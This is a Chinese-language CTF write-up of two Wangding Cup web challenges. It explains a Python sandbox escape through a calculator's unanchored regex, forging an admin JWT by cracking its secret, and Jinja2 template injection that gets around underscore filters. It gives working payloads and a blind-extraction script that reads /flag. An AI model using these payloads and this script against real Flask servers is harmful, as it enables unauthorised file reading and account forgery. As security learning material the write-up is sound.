之前接触的大部分是PHP写的服务器端,而除了PHP,Python也可以作为服务器端的语言,利用的是Python的flask模块渲染html模板,同时也可能存在Python语句执行的漏洞,这就是SSTI漏洞,即服务器端模板注入,本篇文章通过网鼎杯的两道SSTI题简单学习了解一下Python沙箱逃逸的原理

网鼎杯第二场Web:calc

题目如下,是一个计算器,可以执行一些简单的算式,根据题目的提示,可能对我们的输入存在正则匹配过滤,需要我们注意正则表达式

1
^[0-9.]+\s*[*+-/]\s*[0-9.]+

这里的正则表达式存在两个问题

1.首先是[*+-/],我们知道’-‘在正则表达式里有特别的意义,表示范围,而在这里并没有被转义,说明是从’+’-‘/‘的字符

2.正则表达式并没有给出$结尾符,说明我们只需要符合前面的匹配,后面可以任意构造语句执行

我们可以试着访问index.php

出现了报错信息

从报错信息可以看出,这里是python写的web

这里先给出payload:

1
1+1,().__class__.__base__.__subclasses__()[40]('/flag').read()

下面我们在Python 2.7环境中一步步看看

1
().__class__.__base__.__subclasses__()[40]('/flag').read()

为什么就能读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
>>> ().__class__
<type 'tuple'>
>>> ().__class__
<type 'tuple'>
>>> ().__class__.__base__
<type 'object'>
>>> ().__class__.__base__.__subclasses__
<built-in method __subclasses__ of type object at 0x6CFEA8E0>
>>> ().__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>
, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'N
oneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <typ
e 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>,
<type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozen
set'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'
>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_
method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type '
dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_desc
riptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <typ
e 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type
'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap
'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_i
nfo'>, <type 'sys.flags'>, <type 'sys.getwindowsversion'>, <type 'exceptions.Bas
eException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipim
porter'>, <type 'nt.stat_result'>, <type 'nt.statvfs_result'>, <class 'warnings.
WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._Iterat
ionGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'cl
assmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcol
l.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items
'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type
'_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class
'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.Incrementa
lDecoder'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'o
perator.methodcaller'>, <type 'functools.partial'>, <type 'MultibyteCodec'>, <ty
pe 'MultibyteIncrementalEncoder'>, <type 'MultibyteIncrementalDecoder'>, <type '
MultibyteStreamReader'>, <type 'MultibyteStreamWriter'>]
>>> ().__class__.__base__.__subclasses__()[40]
<type 'file'>
>>>

我们可以发现

1
().__class__.__base__.__subclasses__()[40]

返回的是file类型,我们在后面传入文件名,就相当于读取文件

这就是python沙箱逃逸的原理

具体可以参考https://www.aliyun.com/jiaocheng/437857.html

网鼎杯第三场:mmmmy

题目是一个登陆页面,随手试一下用户名test,密码test,成功登录,点击留言,提示只有admin用户才能留言,猜测必须用admin用户登陆,抓包观察

发现登陆时同时设置了cookie的token字段,而在此访问时,服务器根据token字段识别test用户,观察token值,是经过JWT加密后的值,首先使用 c-jwt-cracker 爆破 secret key,结果为

6a423,然后到https://jwt.io/进行加密

加密后的token值替换原本test的token值伪造admin用户登陆

然后这里的留言post的text存在SSTI漏洞,但是这里过滤了双花括号的写法,我们可以换成流程控制结构的写法 执行语句 ,测试如下:

后面的数据就要依靠盲注出来了

1
text={%  if ().__class__.__base__.__subclasses__()[40]('/flag').read()[0]=='f' %}1{%  else  %}0{%  endif  %}

但是这里还过滤了一些关键字,例如’_’,所以我们可以将这些关键属性class,base等放入别的参数,从而绕过对text参数过滤

使用payload如下:

1
text={% if request.values.e[18] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[0] %}good{% endif %}&a=__class__&b=__base__&c=__subclasses__&d=/flag&e=}-{0123456789abcdefghijklmnopqrstuvwxyz

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = "http://0fe97b99c09c4a1cbf5eb0610879c4e93f084e23d438487d.game.ichunqiu.com/bbs"
all_string = "}-{0123456789abcdefghijklmnopqrstuvwxyz"
flag = ""

cookie = {
"token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.IXEkNe82X4vypUsNeRFbhbXU4KE4winxIhrPiWpOP30"
}

for i in range(100):
f = 1
for j in range(39):
print('checking '+all_string[j])
data = {
'text':"{%% if request.values.e[%d] == ()[request.values.a][request.values.b][request.values.c]()[40](request.values.d).read()[%d] %%}good{%% endif %%}"%(j,i),
'a':'__class__',
'b':'__base__',
'c':'__subclasses__',
'd':'/flag',
'e':all_string
}
r = requests.post(url=url,data=data,cookies=cookie)
if 'good' in r.text:
flag = flag + all_string[j]
print('the '+str(i)+' place of flag is: '+all_string[j])
break
elif 'good' not in r.text and j == 38:
f = 0
break
if f == 0:
break

print('flag: ' + flag)
#flag: flag{49ec4dfd-6600-4651-a5ff-9c190562991f}